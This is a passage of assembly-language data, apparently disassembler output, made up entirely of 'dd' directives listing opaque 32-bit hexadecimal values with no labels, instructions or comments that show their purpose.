		dd 0F530699Dh, 7B803271h, 6B11DDA2h, 2A640012h,	0C7044A6Eh
		dd 5F4AE1B7h, 0BE35EBCAh, 0E0DBA639h, 12A32890h, 30E5914Dh
		dd 9CECFF64h, 0EE777A07h, 630EC7C3h, 0CD5B2631h, 0F1D19882h
		dd 0B09A00BAh, 5F867350h, 0F8773404h, 55801B93h, 0BF2D456h
		dd 21B9BD29h, 85090848h, 8180C17Bh, 206209F7h, 45717478h
		dd 18BB6602h, 0D5E662BCh, 0BA957370h, 0A935DF2Ah, 320D8D01h
		dd 5DDC821Ah, 0A7DD09B0h, 4B4DE1FFh, 0DE4F3AC0h, 73451261h
		dd 8440E2F9h, 1130490h,	0CD653BCh, 46282E2Dh, 0AC27D398h
		dd 85227923h, 604B0Ch, 0B825D466h, 4D126C39h, 4FE2612Bh
		dd 0EA044085h, 503347Ah, 0F5DE7BF3h, 21E0CF90h,	10BDCE58h
		dd 60250F4Dh, 0F20BE2B7h, 5AFDD8BAh, 0A2B3A616h, 545D3114h
		dd 5DA5AC90h, 75E7B842h, 92234B22h, 18294FA2h, 0EE60709Eh
		dd 4A723DCCh, 476C6207h, 925E8775h, 6D75EC54h, 60186476h
		dd 129789F0h, 0EC607EEBh, 0B50BC536h, 61CAF0BAh, 9E7E4EB5h
		dd 0D100D42Bh, 3EDDB169h, 35898E25h, 0EA5F9185h, 2078308h
		dd 0AFB750F8h, 0FA92F9DFh, 407F6A4Eh, 0F1AEBA00h, 0DF81997Dh
		dd 34D31912h, 81156E4Fh, 0D2D168CBh, 6E3CD0E3h,	2E41804Ah
		dd 2F493B31h, 40CEBC32h, 2F40C516h, 332709BBh, 0ED7006BCh
		dd 0D89A53B5h, 0B010A37h, 87BEEE18h, 43F50CCh, 0E10BD1Dh
		dd 286DC42Bh, 24D8F4B9h, 66801A19h, 0B58F1FBFh,	0FEF1E5E9h
		dd 4084512Dh, 0F0CE775Ah, 0DC071CFEh, 0EBE3B72Dh, 6BAE78B4h
		dd 2D172317h, 1F300F7h,	5B12ED9Dh, 0C548CE8h, 0BD1DF000h
		dd 0F31FC306h, 7D176F5h, 98287F6Fh, 1909D733h, 2E92B5Ch
		dd 0D542FED0h, 1C9100B5h, 3D0FF780h, 274FD7Eh, 8B64330Bh
		dd 0E90956DEh, 0D4427Eh, 0F29A7DF8h, 0DB564207h, 0E915F408h
		dd 3AB08709h, 31EE90CCh, 4E05F26Bh, 8C0F0689h, 702FB6A5h
		dd 0C31ACFE5h, 0F5B2329Dh, 8B95E352h, 0C0B66DF7h, 0C6A86B17h
		dd 0F5239E04h, 21816781h, 96002C75h, 5074FA8Ah,	7164DB95h
		dd 0F8826E67h, 32316189h, 0D2CDB23Ah, 3DA2A3F6h, 6595E4F8h
		dd 1F292470h, 0E937B20Ah, 0BD23A298h, 5B017C3Fh, 2D00C1F3h
		dd 1DD64FA2h, 0FA743D73h, 0BF29CF04h, 6D866FDBh, 0DA6EC749h
		dd 0E585D158h, 54712F07h, 0CB2D8A0Fh, 1E75602Fh, 0F259519Ch
		dd 0EA6124C2h, 0A240CACDh, 0E108194h, 0DFE46BD3h, 3191E1A0h
		dd 50025AA4h, 3888E6BBh, 24C2DE0Fh, 8AFC831h, 61003151h
		dd 9F2B7FBFh, 0CF519559h, 80E935E9h, 0FBDFF5B9h, 0F0008D8h
		dd 64A820BBh, 4BE3802Ah, 0B7FEFC06h, 98902708h,	4E004AD8h
		dd 311D1C5Eh, 0ECCB78h,	0C17CFDC8h, 9FB2FA50h, 0B49E95Ah
		dd 14AB8909h, 2430017h,	0BB6E1DD3h, 0C401D450h,	0B0BF1862h
		dd 0B63ADC0Fh, 1623BE0Bh, 0FD7A6201h, 0B62FDF8Bh, 630DE19Bh
		dd 0F8117E89h, 41437C79h, 0A6EA8504h, 7D6CE230h, 0FD90F63h
		dd 65316E87h, 0CE2A1B29h, 0EF0825EAh, 9E1261A4h, 1C71F857h
		dd 5C1E1297h, 5D12F65Eh, 0A3093175h, 8EC07B06h,	2124F2BFh
		dd 4E0EBC48h, 0D3ECC3BDh, 0EEDEB200h, 0C86F19A4h, 678958E6h
		dd 0AB337D13h, 938C1B2Ah, 0F313C74Ch, 0DC12B396h, 70F79388h
		dd 0E45800F6h, 9FFDBDAAh, 0A8009C9Ah, 3579C4C1h, 4A5FFE8Ah
		dd 46F6E96h, 0DB9FC46Fh, 0BD64BADh, 3B8CED41h, 0BA972F74h
		dd 7DA933BDh, 9D2BF3BCh, 0EBDA6E15h, 654C488Ch,	0A8D59F4Bh
		dd 40117ABEh, 0CD2D9DBAh, 9FDC6E2Ch, 11BB5EF1h,	0B84BDEB7h
		dd 8A52CC37h, 682862E0h, 7C5E2050h, 0B7B0CE25h,	31391035h
		dd 0B22A5C8Eh, 39FF9D6Ah, 1FFB8EBh, 54D520BDh, 6ACF2579h
		dd 1AC87D9Ah, 7A6C07C0h, 1C5C05A7h, 0AF810F9Bh,	0C317D31h
		dd 0B88EA23Fh, 3373006Bh, 491ECA42h, 0BF02746Ch, 4381CAAh
		dd 28407F96h, 2EED1A16h, 0B01576Eh, 1EE52C90h, 8CB1DEF2h
		dd 88C7E51h, 0B48CEE5Fh, 0D4696522h, 0C46BAA17h, 9B001D23h
		dd 693FE52Fh, 43540B27h, 0B8E43DF4h, 0E3516A03h, 0D8FB4F9Dh
		dd 19B3802Eh, 0A2A3DAAFh, 42C60D83h, 51D95CD2h,	9D311155h
		dd 89C7A0CAh, 9D082DBDh, 0FBBB9420h, 3A3F7F1Fh,	2434135Fh
		dd 1E80FADBh, 0BBB5559Ah, 12E99111h, 0ADE51500h, 0A44EB018h
		dd 0F586F900h, 1399396h, 906501B1h, 0A1BD3326h,	0B743E2Bh
		dd 7FD5ACB9h, 0FC018EACh, 2307493Bh, 2A3A40ECh,	0B4038002h
		dd 4AE3ADAh, 0A5853171h, 22B7102Fh, 0F98B2502h,	5395A7E6h
		dd 0DCD9492Ch, 7F564E00h, 4B52CCC9h, 6F5BC937h,	0DFB86CE9h
		dd 0D6403C05h, 9BBD318h, 98554537h, 975F5754h, 0B59D739Eh
		dd 7F7104C5h, 299498BAh, 5D21B531h, 0C46A37E9h,	0C0B0DB19h
		dd 990EEF2h, 0F21F7225h, 0FAF12B6h, 6B2DFB80h, 0AB4C12Bh
		dd 0B8CC2AB7h, 0CD110007h, 3E4F9AD8h, 0B80E9327h, 8066C024h
		dd 8B617C9Dh, 1FB7B5C1h, 0D3802002h, 0BBF3DFA9h, 458CE52h
		dd 8B90A3C6h, 0CCCB80DEh, 7A799F86h, 2BE38103h,	39673573h
		dd 0BEDEF55Ah, 5900FE6Eh, 2872CA8Eh, 0B4C578F5h, 9ABEA92h
		dd 7364FB32h, 8929A100h, 7F1B1DEEh, 254BB024h, 9FC59E1h
		dd 0DBA80517h, 60DC8AC3h, 71B52B88h, 80D1254Fh,	61032CA5h
		dd 92200DCAh, 257F22h, 49C7A275h, 0A5ACD2Bh, 8D0F501Bh
		dd 0F6598225h, 0E5FB1272h, 0BD0E96F9h, 825BF5B4h, 0C2E3F601h
		dd 71F7DEF2h, 6D080011h, 0E5EC96A4h, 26BFDE04h,	95BD3D89h
		dd 37E0D047h, 0BA97E6B3h, 763557AFh, 0FFAEA402h, 0DCE0DED1h
		dd 3013B500h, 7177F341h, 0CC9497BAh, 0F42744BEh, 980FDE6Ch
		dd 0E0E67CACh, 878022CFh, 26A2578h, 3B7061DBh, 0DFF2CAh
		dd 3507BB53h, 0C2BFC8A3h, 5119520Bh, 11E40290h,	487A4017h
		dd 40893DAAh, 809A9BCEh, 8B3D4AD1h, 0E2074A0Ah,	0D3F71220h
		dd 3C072EDh, 7AB98BBAh,	0DC3E620Bh, 9C5994B7h, 6248D48Ch
		dd 82E91259h, 9C8338ABh, 0CB46EA42h, 0FB36F6B0h, 0E7A3E15Fh
		dd 1047892Eh, 0F381012Eh, 61987650h, 0C8869A2Bh, 4810C118h
		dd 91B4C5EEh, 2A760370h, 16DADBBFh, 0FD500498h,	0F7A84F80h
		dd 749C84Bh, 4B008E77h,	0A339D52Fh, 910E2Ch, 0BC936BA0h
		dd 750647E7h, 0B358F880h, 9523021Dh, 61041405h,	0AA922BE9h
		dd 2523C908h, 0BDFD29EAh, 40AF8062h, 0F61DAB03h, 8BFB505Dh
		dd 634DD55Bh, 4C69EC49h, 0FD2D8351h, 0FF5804D5h, 3BE757B6h
		dd 21D95C82h, 130C3DF5h, 5A004F5h, 0FE90A08h, 21948400h
		dd 1E31233Ah, 98CF06h, 6CD88F55h, 2F0978D5h, 0D3BFC218h
		dd 125086Eh, 15F6F741h,	0C1D6E804h, 31358529h, 0FA208C6Bh
		dd 0F3340983h, 82D2B9B1h, 0A288FE45h, 8912231h,	8AAD2F00h
		dd 0D9CD5B8h, 8F80EB4Eh, 5A7D9D03h, 435E61Bh, 12EDBD33h
		dd 819D3120h, 0B8AC2B4Eh, 0CECCAD92h, 0A94E3009h, 97BB12ABh
		dd 0EF0113AEh, 0F5D1D241h, 0E33AACE9h, 6310308Ah, 3C4C5085h
		dd 2B504755h, 5C0766Ah,	52181BA8h, 799935Fh, 170A4E6Eh
		dd 0D521D8BEh, 8CE32E4Ah, 81BD1922h, 0C28BFF03h, 7CD9B32Ah
		dd 0D7E40195h, 0BF214EC7h, 9CF09BFFh, 0FC490E8h, 0FADC9887h
		dd 4587119Dh, 5853702Fh, 73004ED9h, 0B2C91D24h,	1C1B0DCCh
		dd 53B7910Fh, 2F96A68Dh, 0B32F7D29h, 740823E9h,	0D5594985h
		dd 0D2C7800h, 33B16FBh
		dd 387441CBh, 0F9C86E5Dh, 0E24EBE23h, 41BD9A98h, 0D9AE8A6Bh
		dd 1188D16Ah, 0EEFE281Fh, 5D5BB527h, 0C0915E7Ah, 90A885B5h
		dd 0F85C6300h, 950360BEh, 9C079299h, 7A2F46B1h,	0EE00357Eh
		dd 0C56554B1h, 4822E261h, 135012EFh, 3458B8C7h,	133721B9h
		dd 4490F9EAh, 9C0BF2D5h, 55C88B09h, 13281AEh, 2BEDAD36h
		dd 0B83D29C0h, 2B95A8F3h, 7AF39BD2h, 0E54AB6DCh, 4622C89h
		dd 0EF56094Fh, 25809CC8h, 82560DDBh, 2E35DFDAh,	0C4DE9A0Dh
		dd 7687BBCCh, 3102047Fh, 0EA242DB5h, 0BC438CD9h, 0BF00FCCDh
		dd 0E2617E5h, 5A63FBB7h, 3D00A6CEh, 4133086Ch, 0B584110Ch
		dd 0BD5A760Ch, 4E165127h, 2918CB16h, 9FD52862h,	0BD55412Fh
		dd 809B288Eh, 8701B78Bh, 77EA0099h, 25E4D9DEh, 0E922EECCh
		dd 877A0711h, 0E098FF48h, 0A77F94EAh, 61AC4B1Ch, 0CB9996C1h
		dd 0D83C605Bh, 68DD89CBh, 975361FFh, 0B78976D9h, 640CD183h
		dd 3FB84B68h, 76B887BDh, 409F62EDh, 8B65C35Eh, 0FF80C8AEh
		dd 0EE6EE14Fh, 0EF376000h, 7CEEE6D7h, 0DB18C292h, 0C90A208Dh
		dd 909798D2h, 2E71452Fh, 4AF2B628h, 80EDE903h, 63E001A6h
		dd 788060ECh, 1EAE518Fh, 16CC53Ch, 5A9965DFh, 282F5F46h
		dd 34EE6CAh, 0EC8090DEh, 1F61F8D5h, 0F3D59497h,	0F4A47CD2h
		dd 4B84D404h, 0E508C5ABh, 819B6092h, 2A027589h,	0CF5E2591h
		dd 41746D4h, 24A34B4h, 85120B54h, 0C758BC21h, 0D70B0138h
		dd 0C5809837h, 28C46ADDh, 0B7727A67h, 0C651FE09h, 75FE12B2h
		dd 1C64486Dh, 0E3F1FC60h, 0FE55FD00h, 0BB1A749Bh, 0B262028Ch
		dd 0D98A504Bh, 0DED42675h, 0BF660B62h, 78051A42h, 0FA3CAA8Dh
		dd 1080220Fh, 0E83C939Dh, 1243CC08h, 819C2E2Ch,	68505FAFh
		dd 33009FC8h, 3B745AAFh, 6230E01h, 24A00259h, 6CA3F97Bh
		dd 648BF625h, 0A8D94A91h, 6CF8D704h, 3A02409Dh,	4CB7F086h
		dd 0A700D672h, 0ADF61A0Eh, 0F96E6Bh, 0BFBC7758h, 21AFF072h
		dd 4D9F5F79h, 7899C257h, 60668D56h, 4CA6A9Ah, 8DEA7E3h
		dd 0DDA100FCh, 99D892AEh, 8520BD03h, 40E92531h,	694F487Eh
		dd 85BBD532h, 0E2F98825h, 0F68EF663h, 0DC6A4500h, 0A9C0B323h
		dd 0C2AF5ACBh, 6C5583C9h, 0D0BB0788h, 5054883Eh, 172646AAh
		dd 316C9897h, 61ABB595h, 0F0BDB456h, 3AF32585h,	27010F70h
		dd 3929B509h, 60515170h, 0F18DD882h, 4FFF7A9Dh,	40FB8996h
		dd 21E246A1h, 0C4C03800h, 965D704Eh, 279006Bh, 575693E1h
		dd 50E25B5Fh, 0DCB62BF9h, 2FF561F1h, 0BD234331h, 0AB9214DDh
		dd 0E140BE85h, 8B9F4668h, 6939B4B6h, 0B9091DD0h, 7E499364h
		dd 0B0D24057h, 8E005D18h, 0E61ADE06h, 77F242CBh, 858D2FDFh
		dd 4BC0EAEFh, 1EAA48ECh, 79902379h, 0A0977449h,	61E664E3h
		dd 52437B7h, 0A094E6FDh, 408A03AEh, 975BDA6Ch, 189124BDh
		dd 14EA6480h, 789511ADh, 8E2C4B6Ch, 902E2510h, 890CF5F4h
		dd 0E124773Eh, 0EC7BC186h, 6B712CAh, 4BBA18F3h,	2EAD34EDh
		dd 6E5EDDF6h, 4FA5F61h,	0D25B8BD5h, 0DC875060h,	0CE3DD865h
		dd 4B2FFA8h, 759D2301h,	0BD50473Eh, 79F69A99h, 0B732ADD2h
		dd 1D3B8053h, 0C0475186h, 2FF8FD4Bh, 1A2109ABh,	8554815Fh
		dd 0B63A134Dh, 5431F416h, 31F8AC40h, 6A7F25A1h,	0F54B7CC6h
		dd 0F93DFD9Dh, 1E166AA8h, 4A05A2E9h, 0ACE4229Dh, 9616400Dh
		dd 0BF525000h, 56CAE6ACh, 0C9315A0Fh, 98B0F4F9h, 0AE658F00h
		dd 0F448C6EAh, 6EDC4CE0h, 0C0393EC7h, 0B58EDDDh, 8BF25600h
		dd 84CA50F1h, 0ED5A7B5Bh, 113D887Bh, 0B05E9A00h, 18B6E4D4h
		dd 4E2702B3h, 1255371h,	87F35BE0h, 81965F00h, 0C030A9F7h
		dd 58DEA511h, 1A2C453Eh, 0F08989FBh, 9D367902h,	25498929h
		dd 10AF3C7Bh, 691BFEh, 19F4A6Bh, 0B1A017DFh, 950AF629h
		dd 4F3B00BBh, 0E1ED7CC9h, 0FAEF0044h, 0DB80D6B7h, 0B5975FEEh
		dd 851C915Eh, 0A3EBE42Fh, 0C1214FB8h, 0CFD85C9Fh, 0A2D40046h
		dd 0B9CBD3F0h, 39018B3Ah, 0E6A9E549h, 122FF598h, 0ED92A97Bh
		dd 0E684CC7Eh, 55A4DA16h, 9AEAE9C4h, 0C01CC887h, 3C8997E7h
		dd 7BC8CA05h, 6CA8179Dh, 67D21A20h, 892DA5E1h, 4B13EB9h
		dd 9BB7122Eh, 7D0A8029h, 4F31B9E4h, 3E23A5BDh, 48E0488h
		dd 4AE4F892h, 0ACE4BDD2h, 0B7038C1Ah, 5E3DAF0Ch, 8EC2BD71h
		dd 5CA86A49h, 21732FEBh, 25307FDAh, 0A9A8D95Ch,	0AB09DF81h
		dd 7B2F79A1h, 0BD2B025Ah, 45F512A9h, 82E22581h,	0B55AD85Ch
		dd 84F7AD01h, 0A8AAC2C2h, 880F1678h, 6D834CB2h,	54886474h
		dd 100102EEh, 781BC8EAh, 886A5085h, 0C00B0A2h, 713F3D56h
		dd 0F24F2CF2h, 2DCAB6FFh, 0F996C854h, 47066BAEh, 0E7A400A7h
		dd 283321FFh, 3C2E010Ch, 7B3757BFh, 0F0572F65h,	917ABBh
		dd 775C70C7h, 3C8CB7B0h, 0A7A58079h, 4011D4E5h,	999D2904h
		dd 6227BB27h, 3117E63Ah, 690910FCh, 5376611Eh, 11A46D4h
		dd 0FCFE7CE4h, 0C2E6BA0Bh, 4F58F789h, 1671D793h, 647D3F18h
		dd 15250EB8h, 0A68FD311h, 0ACD20B13h, 94193557h, 0C4826216h
		dd 84DF1F52h, 30120C97h, 0E161A2F9h, 0F44F3001h, 8B3FB7A9h
		dd 302F23F9h, 318501CAh, 36EB05F5h, 284B1951h, 565CDCCEh
		dd 0BC1AA95Bh, 2FB2016Ah, 40B8EF92h, 0C3986B72h, 1271BF87h
		dd 9529640h, 6421257h, 2EDDF11Ah, 0E060DB2Dh, 200E5E55h
		dd 127DA39h, 6B80BB91h,	0A41BC4FBh, 2A9D0074h, 804652Dh
		dd 0E92561BBh, 0B7D0E2AEh, 0C9BC8173h, 0F8337D53h, 8B2873DDh
		dd 0DE2FF5C1h, 1B185FDCh, 0A22548D7h, 83F8C199h, 28C00F32h
		dd 98B23D7Bh, 38562100h, 66BA04DFh, 2C939E25h, 0AADF3E86h
		dd 0C0B23D56h, 0A0DF12h, 84943902h, 0D3B5938Bh,	19DCD03Dh
		dd 0FEAFB718h, 4EFAF9C0h, 1238A9ECh, 82F0C3E3h,	0E1BF0390h
		dd 5045552Bh, 31DBAEBDh, 0F8D291C0h, 9A0B73A4h,	7E19E108h
		dd 0F41126EDh, 0AA9B8400h, 2F23384Ah, 294B245Dh, 302212B8h
		dd 9637CE10h, 558D8B25h, 2A612D61h, 61A004E7h, 0DF7054A3h
		dd 1441EB00h, 918D29D2h, 0D8098124h, 0FEBD21C5h, 3097DC70h
		dd 792B28h, 0CAE3C842h,	0EFD8E835h, 0C99A97h, 0BBD1FF9Eh
		dd 0B209126Dh, 8990F213h, 603ACF91h, 0C239B284h, 0A102564Bh
		dd 0DC026AF8h, 832069FCh, 0BC42A540h, 7F410400h, 93FF09CAh
		dd 8B500BF0h, 14DC90DFh, 4BE09DF6h, 0DDB36135h,	0F9181671h
		dd 86EBDE2Eh, 99729560h, 59A03DAFh, 0A79D4ADh, 9FB03C2h
		dd 8C7C28C2h, 9D4B1B10h, 0B0D6663Fh, 5DE9706h, 8A5B57F9h
		dd 383CB2F8h, 0D3190FBDh, 6E3460C2h, 3999136Ch,	8A80E72Eh
		dd 30CD79ECh, 6697603Bh, 0E0F84FF6h, 6AB65041h,	5789A53Ah
		dd 0BBD0B96Bh, 0DEB7588Ch, 0F94DD29Dh, 78D060EEh, 2F376160h
		dd 4482D9B6h, 2F5E8B15h, 0BD3DA168h, 864C756Ah,	8FD69E8Ah
		dd 232092Ch, 0DD1535A9h, 0A4C1BDFAh, 41FC3529h,	2E13C9B9h
		dd 1810458Ah, 0B5091701h, 0B04082BBh, 55699976h, 0E613609Ch
		dd 0B1305070h, 7BCD0CAh, 0FB733332h, 0E45B410Ch, 90606A71h
		dd 0B5106DBDh, 0D84562C6h, 0BA2F203Bh, 0EE0113EBh, 388ED747h
		dd 312E890Fh, 475BDF56h, 2457498Bh, 98ABF82Ch, 29228528h
		dd 77D6E3E8h, 0FB899909h, 7E2FE759h, 56B760BFh,	84B5C82Bh
		dd 0EC5231FCh, 0A55B3F6Eh, 3FEE8E9h, 9FD379Dh, 4E49B323h
		dd 51F74482h, 0E96025C8h, 9D343350h, 0F4AC7559h, 0E3810270h
		dd 21DA570Ch, 0C1436EF5h, 0E9622A6Eh, 0D88A114Eh, 126B982Eh
		dd 0A5630688h, 0FD270094h
		dd 50B192F1h, 0C4DE0A25h, 0BB2644E9h, 5E29793Dh, 0C9252CF8h
		dd 2B6775D1h, 7A0D11D2h, 29718228h, 8CA5BB9h, 82947BDEh
		dd 1DA74B63h, 65D4F309h, 0CC60795Eh, 0BDE35A9Ch, 284B953h
		dd 0DEAE1F99h, 715F848Ch, 0F995F0D1h, 0E912E97Fh, 0B9A82C2Ah
		dd 4EE12F4Dh, 0BB337B20h, 0FC460027h, 1F4AEBB3h, 0D40FFD30h
		dd 4A626FD3h, 0E108FC78h, 410503FCh, 0BBBB17BEh, 723ED0C8h
		dd 0D5F501BFh, 9F6EB8E0h, 1F4793FCh, 0BB41381Ah, 37C9EF1Bh
		dd 524F953Ah, 0A9F0AABEh, 0B72EE1BAh, 0B9D0B71Dh, 9BF7CEDh
		dd 379E996Fh, 0B569FD73h, 8BB48463h, 0A7C1ABE3h, 5B0114CDh
		dd 0F9252EFCh, 7E5AE05h, 0B4D0D1BDh, 0FF7F7605h, 33F226h
		dd 0C7859AEEh, 0D66222h, 8E99B38Ah, 0E7900C0Ah,	58F7DB2Dh
		dd 14C922AEh, 88E3B904h, 0F0B85F61h, 5FA8B2D2h,	36F18BBCh
		dd 2BA0ECA9h, 8B009597h, 79840960h, 0C5800F1Bh,	3CDB6175h
		dd 1EEDF3C0h, 764BD44Ah, 8B2FCD8Ah, 0B8D89D7Bh,	20D900D2h
		dd 979F3011h, 0B72523B1h, 0D8884248h, 985BBD0Dh, 0B20FB52h
		dd 1482C7BAh, 5455296Dh, 48C604Eh, 4704AC11h, 0E2E1E335h
		dd 0C2D70ABCh, 0A5E20F1h, 3883CFA9h, 0C0947AE3h, 116C6F0h
		dd 9ECE5DD8h, 2F75A0BBh, 196950C0h, 0F014975Bh,	6E2FED45h
		dd 6AE3029Dh, 6164FAEAh, 203E56E1h, 0DD7E1D58h,	29351504h
		dd 7BC3DC5h, 7B1ACAB2h,	1D88532Fh, 0CF12C89Eh, 9F276AAh
		dd 78A86588h, 0A0230920h, 4B0D9D7Fh, 6ECD991Ch,	0D980E5DAh
		dd 0C5C48D54h, 4D2524B0h, 0C9825C13h, 0BD4D1DEh, 7D79BC2Dh
		dd 2E1005F4h, 9EC0274Ch, 0EE6119CEh, 8ED38501h,	0C8F72D1Ch
		dd 4BC50DF0h, 1408D299h, 526EE82Dh, 0ACAFB93Dh,	0E0738C17h
		dd 0F692193Fh, 0C847F11Ch, 95BD8982h, 85BAD710h, 1665B802h
		dd 13561B77h, 0BB21258Eh, 0A400187Eh, 13FE9D60h, 535CB0B3h
		dd 7036C313h, 58C9C855h, 789301E7h, 90EA084Dh, 0F462D0B5h
		dd 0DA8524Eh, 0AE7D97B2h, 4B735BAEh, 93FAF90Ch,	0BB3E34AAh
		dd 0C6C1F5DEh, 0D21BBE1Ah, 0A519CF77h, 1644A84Dh, 544B8F60h
		dd 5D04DBFCh, 535A93E3h, 0E90882BCh, 66070184h,	71B97DBFh
		dd 25E9A0E4h, 4A7B15C5h, 74E38089h, 2B690B07h, 0C03BBA55h
		dd 95E60CE7h, 0BF007A73h, 68920FEh, 0A1F73A81h,	2527C512h
		dd 37E6EF45h, 0D511D0F1h, 0BB122E15h, 17B8F9A9h, 0B00DCB02h
		dd 0E19A75ADh, 43E2EF4Ch, 0F1E41050h, 44962D06h, 25F65C67h
		dd 8BFA7C1Fh, 0BAD55250h, 3C08130Bh, 60A95F04h,	23514615h
		dd 490E729Fh, 1043096h,	0AF31A195h, 0F80232Bh, 5BC8A868h
		dd 4DC4064Bh, 0C1F088AFh, 0EBB1EF00h, 8D895680h, 25387527h
		dd 1974595Bh, 44CB5782h, 0E8E65F06h, 0AA2078BDh, 27F956EBh
		dd 16F64E56h, 209529C0h, 0B1BF50A9h, 556CC913h,	8E0F1845h
		dd 0F45329EBh, 0EC12F464h, 6BAE8C43h, 4152335h,	0E8F921D9h
		dd 2635129Dh, 0BF2F3CAEh, 6A45E917h, 33912CFEh,	603DEF95h
		dd 51ACDBAEh, 3018F09Fh, 11F27E9h, 0E5A99B5h, 4139ADB4h
		dd 939A6B25h, 128C16F8h, 120B7BAEh, 0A89CD548h,	219E00EEh
		dd 18E78053h, 24DB975Fh, 5337570h, 0A99D313Ch, 9038AF1Ah
		dd 0ED044B86h, 269E80Fh, 0ECEBF8Bh, 144566CFh, 875F579Ah
		dd 0ED9B2DF3h, 601DE433h, 1F66D92h, 980B8ADEh, 2B442620h
		dd 6E14785h, 0B2A5E67Fh, 0D46C9314h, 0DBF187AFh, 555A205Eh
		dd 901A6B5h, 60C19056h,	3129F541h, 0F183AB04h, 8BABBCB9h
		dd 386A4F28h, 11D1A600h, 0AB51A57h, 8A96810Bh, 189877DAh
		dd 9F0E0BDFh, 0A3371CD8h, 98D181B7h, 0BC965FBCh, 6F00DC60h
		dd 785CE3DAh, 2598814Ch, 0CC4D0EC6h, 1601564h, 0B5253169h
		dd 60FC00C5h, 4E681h, 0BE0B703Dh, 286E167Fh, 7CD614Bh
		dd 2ACC930h, 358DBFA2h,	0DDB24541h, 0A5CB59FDh,	0B777EA6Ah
		dd 218485D2h, 730BBE0Ah, 0E0F45E0Ch, 0E30351BFh, 0BE64B5Eh
		dd 8C301AB2h, 0E8BC0906h, 2F53ED9h, 5527B517h, 246F3FD6h
		dd 0B1122971h, 76826AB3h, 2032DD24h, 493557h, 85292E47h
		dd 0C4A90D5Dh, 72F22F89h, 2494E35Fh, 0F627FE2Bh, 0A25869F6h
		dd 21C07B8Dh, 765150BEh, 0BCE84FE9h, 0C512255Fh, 0D6A6ACA2h
		dd 0EBB6C90Bh, 24B8526Fh, 0C95A791Bh, 0D30731F8h, 0FB73BA51h
		dd 6118976Ah, 0BCEAC02Ch, 0BD0362BAh, 964A835Ah, 716588h
		dd 86BB725h, 3683F648h,	2EF5AE02h, 0C096500Bh, 0BF06996Fh
		dd 8734CBC5h, 8E28DEFEh, 481422C7h, 0A1896142h,	0A0128D23h
		dd 406AE3CCh, 325E7DE5h, 52E232ACh, 550DE9D9h, 0D9604703h
		dd 54FBF496h, 0FBC19350h, 0E0FA7A45h, 0E90056C9h, 9CDF80AAh
		dd 0BF818CFFh, 5E97A5D9h, 0E3E6FF12h, 893E59F0h, 0F005D3FEh
		dd 0FC412FD0h, 21FE9B65h, 401EFABCh, 0A8C983ECh, 792D042Eh
		dd 5A1AA039h, 0B2DCF65Fh, 0FED0331Ah, 3F138EF4h, 4CC8BCD8h
		dd 776400A5h, 22024028h, 4E00564Fh, 0C5D593F2h,	0A05BFC11h
		dd 950719ABh, 25927AE5h, 80889EBAh, 9C64EC27h, 32909D53h
		dd 0FF4A06E1h, 5BA8E7FCh, 612548B0h, 1180C702h,	75205F62h
		dd 38EA890Dh, 3F808A07h, 705A73E4h, 5D25C509h, 82355519h
		dd 177A302Dh, 0D05F0102h, 0F780BD3Bh, 83122E9Eh, 6412676Fh
		dd 0E4E204F3h, 0B6A4B8A6h, 0BF7091Ch, 95735E9h,	0DCBF5C6Eh
		dd 510BC901h, 9035E212h, 2E1FB05h, 0A05CA77Ah, 1D2AD321h
		dd 1074A83h, 25BD29AFh,	95310026h, 3059B5D5h, 3D1C1D09h
		dd 49E48121h, 24F841FAh, 0B93BBEF2h, 8B0C7E46h,	14310FD6h
		dd 5A7E168Fh, 4CF9BD58h, 759D1378h, 0FAD943FCh,	9EE52A35h
		dd 0F0E2B66Eh, 2DD6C8BFh, 0BB2228D0h, 0C5D5800Fh, 9BA7000Fh
		dd 0F5F6D2AFh, 80F98600h, 19983A54h, 0C24202FBh, 0B4CD35D1h
		dd 0AC19181h, 5A807CEDh, 0C08368D1h, 33BC1829h,	4490F825h
		dd 2E270F71h, 96E2C765h, 3C56DDC2h, 58505B0Ah, 138180BAh
		dd 9CDC85Ch, 0DD270958h, 1900C004h, 4CD3E35Fh, 4E2F123Ch
		dd 0EC30366Eh, 84D38038h, 4A7F0BD4h, 0E124C1CDh, 0AD614ED1h
		dd 8C16ACCAh, 8580D013h, 93326C48h, 0E026E6D1h,	2ED07A3h
		dd 53FDA90Ah, 3CE1D4D1h, 29412F85h, 75B50156h, 42403775h
		dd 25E94FBFh, 0F7C52874h, 2806210h, 31B19D0Bh, 2A7979BFh
		dd 0DC6D9E5Fh, 0D33C4005h, 16BB8597h, 0AC4CBD78h, 0A0038C1Dh
		dd 0CA0ED7C7h, 5A13A0F2h, 0EEC1B510h, 0FBE90028h, 0C816970Ch
		dd 5869CB49h, 0CFEAD741h, 0F22856E9h, 0C2D4565Ah, 2CE0FBB7h
		dd 18977AE6h, 258951FAh, 8B0161B5h, 5253905Fh, 3BD85B90h
		dd 3097FB7Ah, 1324BBB7h, 0AB659F56h, 0F381D270h, 0FC4C2FD2h
		dd 272CB5DFh, 4E4C7D30h, 760966B5h, 0D65D7989h,	0C02AB853h
		dd 0DA5603BDh, 0CFD300B4h, 8794328Fh, 0D7B0A372h, 0F3284927h
		dd 2CFAD0A5h, 8B671704h, 2748D1D4h, 0DDE6F812h,	50B52B22h
		dd 0B075C97Fh, 0B1148F4h, 0E7EAE900h, 0AD6CF055h, 617F397Ch
		dd 1BC08101h, 5E17FBC5h, 830F4D73h, 66C90A6Ah, 5F5AC80h
		dd 0F64B51A7h, 0F14AAECh, 5F80BD81h, 0E6D88A61h, 0E4F97009h
		dd 99F08471h, 0DA5098ABh, 9EB8188h, 28E551FEh, 71B5DA70h
		dd 0DE64A513h, 219382FCh, 8909D816h, 0DFF151h, 5FA5E7BAh
		dd 0EB02821Dh, 0CD89967Bh, 5C10DDC0h, 497DAB7h,	0E78229F1h
		dd 0C82B020Ch, 1316D176h, 0BF8B01EFh, 2A019460h, 0CC30501h
		dd 7144E965h, 0AE5685BEh, 509EA12h, 276055DAh, 2E40B99Dh
		dd 63EB3580h, 7017EB18h
		dd 47B74AAh, 413CDCCh, 0E3FC54E9h, 0AB2C7D84h, 0F501549Dh
		dd 0B66A2E79h, 0F63925A8h, 0CE97E02Eh, 0C43A30D0h, 0F8F9843Eh
		dd 0B5809E35h, 975BFF15h, 0B40BE732h, 68A87CD6h, 0D2F0932h
		dd 0DD6F8895h, 0D1ED5D1Ch, 8B0D4254h, 6127AB08h, 742E663Ah
		dd 0B3DCBAB1h, 0B9154009h, 0E5A45D7Eh, 0FCD4DF66h, 3BFE80Dh
